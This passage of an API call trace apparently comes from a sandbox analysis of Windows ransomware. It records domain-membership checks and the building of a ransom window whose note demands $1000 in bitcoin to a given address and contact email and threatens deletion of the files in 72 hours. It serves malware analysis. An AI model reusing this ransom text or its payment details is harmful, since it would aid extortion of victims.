(hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0038.492] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xb6216e6c8, BufferType=0xb6216e6f0 | out: lpNameBuffer=0xb6216e6c8*="WORKGROUP", BufferType=0xb6216e6f0) returned 0x0 [0038.497] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0038.499] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 1 [0038.499] TranslateMessage (lpMsg=0xb6216ef50) returned 0 [0038.499] DispatchMessageW (lpMsg=0xb6216ef50) returned 0xffffffff [0038.499] GetForegroundWindow () returned 0x301cc [0038.499] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0038.499] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.499] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.499] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.499] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0038.499] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.500] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.500] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0038.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xb624782b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0038.505] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0038.506] NetApiBufferSize (in: Buffer=0xb6248b7c0, ByteCount=0xb6216de28 | out: ByteCount=0xb6216de28) returned 0x0 [0038.506] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0038.507] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.507] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.508] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0038.508] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.508] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.509] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.509] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0038.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xb62478210, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0038.514] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0038.514] NetApiBufferFree (Buffer=0xb6248b7c0) returned 0x0 [0038.514] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0038.516] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.516] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.516] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x601e4, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa0020 [0038.517] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.517] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x50001, lParam=0xa0020) returned 0x0 [0038.517] GetStockObject (i=17) returned 0x10a0047 [0038.517] SendMessageW (hWnd=0xa0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0038.517] GetSysColor (nIndex=18) returned 0x0 [0038.517] GetClientRect (in: hWnd=0xa0020, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.517] GetWindowRect (in: hWnd=0xa0020, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.517] SetWindowLongPtrW (hWnd=0xa0020, nIndex=-21, dwNewLong=0x5) returned 0x0 [0038.517] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.517] GetDC (hWnd=0x0) returned 0xe010572 [0038.517] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0038.517] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0038.517] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x730a059b [0038.518] SendMessageW (hWnd=0xa0020, Msg=0x30, wParam=0x730a059b, lParam=0x1) returned 0x0 [0038.518] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.518] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.518] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x601e4, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x4011c [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x0 [0038.519] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x111, wParam=0x4000006, lParam=0x4011c) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x0 [0038.519] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x111, wParam=0x3000006, lParam=0x4011c) returned 0x0 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x55, wParam=0x4011c, lParam=0x3) returned 0x2 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0038.519] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.519] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x60001, lParam=0x4011c) returned 0x0 [0038.519] GetStockObject (i=17) returned 0x10a0047 [0038.519] SendMessageW (hWnd=0x4011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0038.519] GetClientRect (in: hWnd=0x4011c, lpRect=0xb6216f6a0 | out: lpRect=0xb6216f6a0) returned 1 [0038.519] GetWindowRect (in: hWnd=0x4011c, lpRect=0xb6216f6a0 | out: lpRect=0xb6216f6a0) returned 1 [0038.519] SetWindowLongPtrW (hWnd=0x4011c, nIndex=-21, dwNewLong=0x6) returned 0x0 [0038.519] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.520] GetDC (hWnd=0x0) returned 0xe010572 [0038.520] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0038.520] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0038.520] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x4c0a06fc [0038.520] SendMessageW (hWnd=0x4011c, Msg=0x30, wParam=0x4c0a06fc, lParam=0x1) returned 0x1 [0038.520] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.520] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x601e4, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x701e6 [0038.521] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.521] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x55, wParam=0x701e6, lParam=0x3) returned 0x2 [0038.521] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.521] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0038.521] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.521] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x70001, lParam=0x701e6) returned 0x0 [0038.521] GetStockObject (i=17) returned 0x10a0047 [0038.521] SendMessageW (hWnd=0x701e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0038.521] GetClientRect (in: hWnd=0x701e6, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.521] GetWindowRect (in: hWnd=0x701e6, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.521] SetWindowLongPtrW (hWnd=0x701e6, nIndex=-21, dwNewLong=0x7) returned 0x0 [0038.521] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.522] GetDC (hWnd=0x0) returned 0xe010572 [0038.522] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0038.522] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0038.522] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x300a081a [0038.522] SendMessageW (hWnd=0x701e6, Msg=0x30, wParam=0x300a081a, lParam=0x1) returned 0x0 [0038.522] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.522] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0038.522] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.522] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f780, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f780*=0) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f770, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f770*=0) returned 1 [0038.523] ReadFile (in: hFile=0x194, lpBuffer=0xb62493010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f7b0, lpOverlapped=0x0 | out: lpBuffer=0xb62493010*, lpNumberOfBytesRead=0xb6216f7b0*=0x1b, lpOverlapped=0x0) returned 1 [0038.523] ReadFile (in: hFile=0x194, lpBuffer=0xb62493010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f7b0, lpOverlapped=0x0 | out: lpBuffer=0xb62493010*, lpNumberOfBytesRead=0xb6216f7b0*=0x0, lpOverlapped=0x0) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f7f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f7f0*=27) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f7f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f7f0*=0) returned 1 [0038.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f740, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f740*=0) returned 1 [0038.523] ReadFile (in: hFile=0x194, lpBuffer=0xb62493010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f780, lpOverlapped=0x0 | out: lpBuffer=0xb62493010*, lpNumberOfBytesRead=0xb6216f780*=0x1b, lpOverlapped=0x0) returned 1 [0038.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xb6248b180, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0038.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xb6248b180, cbMultiByte=28, lpWideCharStr=0xb6248b480, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0038.523] CloseHandle (hObject=0x194) returned 1 [0038.523] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.523] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0038.524] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.524] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.524] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.524] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0038.524] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.524] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.525] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0038.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xb624782d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0038.531] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0038.531] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xb6216e6c8, BufferType=0xb6216e6f0 | out: lpNameBuffer=0xb6216e6c8*="WORKGROUP", BufferType=0xb6216e6f0) returned 0x0 [0038.532] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0038.534] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.534] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.534] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.534] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0038.534] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.534] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.535] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0038.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xb624783d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0038.542] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0038.543] NetApiBufferSize (in: Buffer=0xb6248b840, ByteCount=0xb6216de28 | out: ByteCount=0xb6216de28) returned 0x0 [0038.543] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0038.544] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 1 [0038.544] TranslateMessage (lpMsg=0xb6216e6b0) returned 0 [0038.544] DispatchMessageW (lpMsg=0xb6216e6b0) returned 0xffffffff [0038.544] GetForegroundWindow () returned 0x301cc [0038.544] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0038.544] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.544] PeekMessageW (in: lpMsg=0xb6216e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e6b0) returned 0 [0038.545] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0038.545] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.550] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.550] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0038.552] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216ef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef50) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0038.553] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.553] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x601e4, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x7018a [0038.555] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.555] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x80001, lParam=0x7018a) returned 0x0 [0038.555] GetStockObject (i=17) returned 0x10a0047 [0038.555] SendMessageW (hWnd=0x7018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0038.555] GetWindowTextLengthW (hWnd=0x7018a) returned 417 [0038.555] SendMessageW (hWnd=0x7018a, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0038.555] GetClientRect (in: hWnd=0x7018a, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.555] GetWindowRect (in: hWnd=0x7018a, lpRect=0xb6216f690 | out: lpRect=0xb6216f690) returned 1 [0038.555] SetWindowLongPtrW (hWnd=0x7018a, nIndex=-21, dwNewLong=0x8) returned 0x0 [0038.556] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.556] GetDC (hWnd=0x0) returned 0x11010729 [0038.556] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0038.556] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0038.556] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x280a07f4 [0038.556] SendMessageW (hWnd=0x7018a, Msg=0x30, wParam=0x280a07f4, lParam=0x1) returned 0x1 [0038.560] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.560] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.560] ShowWindow (hWnd=0x601e4, nCmdShow=5) returned 0 [0038.560] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.560] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0038.560] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.560] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x46, wParam=0x0, lParam=0xb6216fbe0) returned 0x0 [0038.570] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.570] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x46, wParam=0x0, lParam=0xb6216fbe0) returned 0x0 [0038.570] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.570] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0038.570] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x1c, wParam=0x1, 